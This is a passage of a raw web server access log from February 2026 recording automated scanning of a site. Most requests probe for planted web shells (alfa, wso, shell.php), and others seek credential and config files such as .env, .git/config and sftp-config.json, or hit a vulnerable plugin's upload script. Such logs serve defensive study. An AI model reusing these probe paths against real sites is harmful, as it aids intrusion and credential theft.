"GET /post.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:43 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:02:46 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:07:56 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:00 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:03 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:08:30 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:09:24 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:07:11:04 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.226.73.42 - - [11/Feb/2026:08:42:06 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [11/Feb/2026:08:42:14 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 27.46.75.18 - - [11/Feb/2026:08:13:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.3776.32 Safari/537.36 OPR/63.0.3368.43" 20.226.73.42 - - [11/Feb/2026:08:42:06 +0300] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.226.73.42 - - [11/Feb/2026:08:42:06 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [11/Feb/2026:08:42:06 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 66.249.79.161 - - [11/Feb/2026:08:49:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 20.226.73.42 - - [11/Feb/2026:08:42:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 121.229.185.160 - - [11/Feb/2026:09:28:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.158.90.147 - - [11/Feb/2026:10:09:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604" 20.226.73.42 - - [11/Feb/2026:10:54:00 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.41.158.132 - - [11/Feb/2026:11:10:20 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.226.73.42 - - [11/Feb/2026:10:54:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [11/Feb/2026:10:54:00 +0300] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.226.73.42 - - [11/Feb/2026:10:54:00 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 170.106.179.68 - - [11/Feb/2026:11:29:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.185.132.171 - - [11/Feb/2026:11:35:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 108.165.145.103 - - [11/Feb/2026:11:58:37 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 5.231.104.243 - - [11/Feb/2026:11:58:39 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 51.13.121.91 - - [11/Feb/2026:11:45:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 94.249.212.247 - - [11/Feb/2026:11:58:35 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 5.231.104.9 - - [11/Feb/2026:11:58:38 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 49.51.243.95 - - [11/Feb/2026:12:25:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.183.233.81 - - [11/Feb/2026:12:18:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 164.68.106.186 - - [11/Feb/2026:12:54:19 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 195.2.76.137 - - [11/Feb/2026:13:45:32 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 94.26.88.31 - - [11/Feb/2026:14:16:01 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" 134.209.35.152 - - [11/Feb/2026:13:55:04 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.194.92.21 - - [11/Feb/2026:13:27:43 +0300] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 102.164.212.88 - - [11/Feb/2026:14:54:54 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 89.110.99.186 - - [11/Feb/2026:13:44:21 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 69.171.231.115 - - [11/Feb/2026:14:29:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.203.132.38 - - [11/Feb/2026:15:07:57 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 62.60.130.228 - - [11/Feb/2026:15:14:08 +0300] "GET /login/ HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0" 62.60.130.228 - - [11/Feb/2026:15:14:01 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 62.60.130.228 - - [11/Feb/2026:15:14:01 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 51.120.79.203 - - [11/Feb/2026:15:25:09 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:45 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:49 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:53 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:56 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:59 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:08 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:15 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:11 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:40 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:06 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:22 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:24 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:28 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:31 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:34 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:37 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:40 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:01 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:19 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:46 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:50 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:50 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:57 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 108.165.145.107 - - [11/Feb/2026:15:34:52 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 108.165.145.115 - - [11/Feb/2026:15:34:53 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 51.120.79.203 - - [11/Feb/2026:15:24:21 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:23 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:24 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:26 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:26 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:28 +0300] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:30 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:31 +0300] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:34 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:37 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:38 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:42 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:44 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:47 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:56 +0300] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:59 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:01 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:25 +0300] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:27 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:27 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:21 +0300] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:24 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:27 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:30 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:33 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:36 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:38 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:42 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:44 +0300] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:47 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:50 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:53 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:55 +0300] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:57 +0300] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:01 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:04 +0300] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:44 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:25 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:28 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:33 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:51 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:38 +0300] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:45 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:24:15 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:32 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:36 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:36 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:39 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:41 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:45 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:36 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:25:39 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:11 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:47 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:50 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:53 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:57 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:59 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:00 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:28:02 +0300] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:18 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:27 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:01 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:29 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:33 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:52 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:33:06 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:33:08 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:33:08 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 94.249.212.114 - - [11/Feb/2026:15:34:55 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 51.120.79.203 - - [11/Feb/2026:15:27:06 +0300] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:08 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:11 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:13 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:16 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:19 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:21 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:23 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:26 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:28 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:27:30 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:24 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:29:26 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:39 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:41 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:45 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:26:48 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:30:17 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:19 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:49 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:53 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:56 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:31:58 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:00 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:03 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:07 +0300] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 51.120.79.203 - - [11/Feb/2026:15:32:11 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 106.54.62.156 - - [11/Feb/2026:16:06:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 193.32.126.230 - - [11/Feb/2026:16:48:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 221.12.165.77 - - [11/Feb/2026:17:02:53 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:22:58 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:22:58 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:22:58 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:22:59 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:22:59 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:22:59 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:00 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:00 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:00 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:00 +0300] "GET 